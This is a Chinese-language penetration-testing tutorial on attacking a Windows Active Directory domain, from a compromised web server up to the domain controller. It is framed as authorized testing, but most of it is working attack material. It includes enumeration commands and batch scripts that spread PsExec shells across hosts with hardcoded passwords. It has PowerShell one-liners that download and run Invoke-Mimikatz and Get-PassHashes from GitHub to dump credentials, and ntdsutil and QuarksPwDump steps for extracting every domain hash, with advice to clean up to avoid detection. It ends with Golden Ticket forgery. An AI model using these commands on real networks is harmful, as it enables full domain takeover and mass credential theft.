在渗透测试过程中,我们经常会遇到以下场景:某处于域中的服务器通过路由做端口映射,对外提供web服务,我们通过web脚本漏洞获得了该主机的system权限,如果甲方有进一步的内网渗透测试需求,以证明企业所面临的巨大风险,这个时候就需要做内网的域渗透。
通常,我们是以获得域控制器的权限为目标,因为一旦域控制器沦陷,整个内网就尽在掌握中了,在学习域渗透之前,我们需要了解一些基础知识。
1.什么是域
将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库。
那么域网络结构有什么优点呢?域的优点主要有以下几个方面:
1.权限管理比较集中,管理成本降低
域环境中,所有的网络资源,包括用户均是在域控制器上维护的,便于集中管理,所有用户只要登入到域,均能在域内进行身份验证,管理人员可以较好的管理计算机资源,管理网络的成本大大降低;同时在域环境中也可以防止企业员工在域成员主机上违规安装软件,增强客户端安全性,减少客户端故障,降低维护成本。
2.保密性加强
有利于企业的一些保密资料的管理,可以单独对资源进行权限控制,允许或拒绝特定的域账户对资源的请求。
3.安全性加强
使用漫游账户和文件夹重定向,个人账户的工作文件及数据等可以存储在服务器上,进行统一备份及管理,使用户的数据更加安全有保障;同时域控制器能够分发应用程序、系统补丁,用户可以选择安装,也可以由系统管理员指派自动安装,数据及系统安全性大大提高。
4.提高了便捷性
可由管理员指派登陆脚本映射,用户登录后就可以像使用本地盘符一样,使用网络上的资源,且不需要再次输入密码。
基于以上原因,很多企业的内网均会采用域环境,所以作为一名合格的渗透测试人员,域渗透的常规思路和技巧要熟练掌握。
2.域的特性
域成员计算机在登录的时候可以选择登录到域中或此计算机,登陆到域中的时候,身份验证是采用Kerberos协议在域控制器上进行的,登陆到此计算机则是通过SAM来进行NTLM验证的,如下图:
默认情况下,域用户可以登录到域中所有的工作站,不包括域控制器,管理员也可以指定具体的计算机,域用户信息保存在活动目录中,如下图:
3. 域渗透思路
一个具有一定规模的企业,每天都可能面临员工入职和离职,因此网络管理部门经常需要对域成员主机进行格式化消除磁盘的文件,然后重装系统及软件,以提供给新员工使用;因此,为了便于后期交接,大多网络管理员会做好一个系统镜像盘,统一安装所有的电脑,并且在安装的时候设置惯用、甚至统一的密码。
因此,域中的计算机本地管理员账号,极有可能能够登陆域中较多的计算机,本地管理员的密码在服务器上后期修改的概率,远低于在个人办公电脑上的概率,而域用户权限是较低的,是无法在域成员主机上安装软件的,这将会发生下面的一幕:
某个域用户需要使用viso软件进行绘图操作,于是联系网络管理员进行安装,网络管理员采用域管理员身份登录了域成员主机,并帮助其安装了viso软件,于是这个有计算机基础的员工,切换身份登录到了本地计算机的管理员,后执行mimikatz,从内存当中抓取了域管理员的密码,便成功的控制了整个域。
因此,域渗透的思路就是:
通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网。
4. 域渗透常用指令
以下所有指令均为在域成员主机上执行的结果。
得到域控制器的IP:dsquery server
得到域控制器主机名:net group "domain controllers" /domain,注意通过该指令得到的机器名后面会多一个$符号,如下图:
查询域管理用户:net group "domain admins" /domain
查看所有域用户: net user /domain
这里有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递攻击了,此外,还有以下几个常用指令:
查询当前登陆域:net config workstation
查询域密码策略:net accounts /domain
查看补丁信息:wmic qfe
查看操作系统类型:wmic os
当我们获得了某个本地管理员权限的账号,我们想通过该账号访问内网其他主机,常用的做法有net use建立Ipc$连接、wmic指令连接、采用rdp方式连接、当然也可以使用“计算机管理--连接到另一台计算机”的功能来进行操作,除此之外,笔者更喜欢使用psexec进行远程连接,如下图:
如果觉得一台一台手工连接比较麻烦,也可以进行批量连接,批量反弹cmdshell回来,可以采用如下批处理:
@echo off
echo check ip addr config file...
if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
echo read and analysis file...
for /F "eol=#" %%i in (ip.txt) do start PsExec.exe \%%i -accepteula -u administrator -p "123456" cmd & start cmd /c PsExec.exe \%%i -u administrator -p "123456" cmd
:end
exit
当返回了cmdshell后,我们就可以逐一读取内存,去抓取域管理员的密码,这里可以结合powershell来进行快速操作,无需上传文件:
抓明文:
powershell IEX (New-Object Net.WebClient).DownloadString('[https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'](https://links.jianshu.com/go?to=https%3A%2F%2Fraw.githubusercontent.com%2Fmattifestation%2FPowerSploit%2Fmaster%2FExfiltration%2FInvoke-Mimikatz.ps1')); Invoke-Mimikatz –DumpCerts
抓hash:
powershell IEX (New-Object Net.WebClient).DownloadString('[https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes](https://links.jianshu.com/go?to=https%3A%2F%2Fraw.githubusercontent.com%2Fsamratashok%2Fnishang%2Fmaster%2FGather%2FGet-PassHashes.ps1')%3BGet-PassHashes)
这种方式的好处是只要域管理员登陆过目标计算机,即使注销了会话,一样可以从内存读取到密码,但实际的渗透过程中,我们往往追求的是效率,如何快速找到域管理员登陆过哪台计算机,并且还存在活动会话,优先级更高一些,我们可以使用如下指令:
这里ip.txt是需要遍历的IP列表,1.bat中的指令为tasklist /v |find “域管理员”,这样我们只需要在返回的cmdshell当中,去查看是否含有域管理员字样的会话,如果有,则表示该主机上曾经登陆过域管理员,可以去dump内存密码了。
另外我们也可以使用Tasklist命令查看远程主机任务列表,这里一样是搜索含有域管理员字样的任务列表,如下图:
基于以上原理,我们可以写一个更加自动化的批处理:
@echo off
echo check ip addr config file...
if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
echo read and analysis file...
for /F "eol=#" %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p mytest2010 /v) >>d:\result.txt
:end
exit
上述指令的作用就是采用指定的用户名和密码去遍历ip.txt中的IP列表,并打印任务列表,将结果输出到result.txt当中,执行完了上述批处理,我们只需要稍作等待,最后去查看result.txt当中是否含有域管理员字样,即可确定哪些主机上存在域管理员的活动会话,如下图:
5. 域用户hash提取
域用户帐户以域数据库的形式保存在活动目录中,ntdsutil.exe是域控制器自带的域数据库管理工具,从windows 2008就默认自带了,因此我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:
Ntdsutil –snapshot—activate instance ntds—create—mount {guid}—copy 装载点\windows\NTDS\ntds.dit d:\ntds_save.dit
域数据库装载完毕,即可进行复制,如下图:
最后执行unmount {guid}—delete {guid}--quit删除装载点即可,避免被发现,接着上传工具QuarksPwDump到域控制器上,然后执行如下命令,成功提取用户hash,如下图:
QuarksPwDump --dump-hash-domain --ntds-file d:\ntds_save.dit
注意上面的操作必须在域控制器上,否则会出现如下错误,这是因为打开域数据库需要用到相应的数据库引擎,如下图:
除了上面的操作方法外,还可以使用mimikatz一条命令,获取域控制器上所有用户的hash:
mimikatz log "privilege::debug" "lsadump::lsa /patch"
6.票据传递攻击
域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要我们拿到了krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket,此类攻击方法被称为票据传递攻击。
首先,我们来生成Golden Ticket,这里需要修改相应的域管理员账号、域名称、sid值,如下图:
接着我们使用如下指令导入票据:
导入成功后,我们在域成员主机上执行klist,即可查看缓存的票据,如下图:
最后,我们就可以使用票据传递攻击,登陆域控了,如下图:
因此,在域渗透过程如果发现域管理员的密码已经修改,可尝试利用krbtgt用户的历史hash来进行票据传递攻击,krbtgt用户的密码一般不会有人去修改。
此外,域渗透过程中可能会使用到MS14-068这个漏洞,微软给出的补丁是kb3011780,在server 2000以上的域控中,如果没有打这个补丁,那么情况将比较糟糕,利用该漏洞可以将任何一个域用户提权至域管理员权限,危害极大。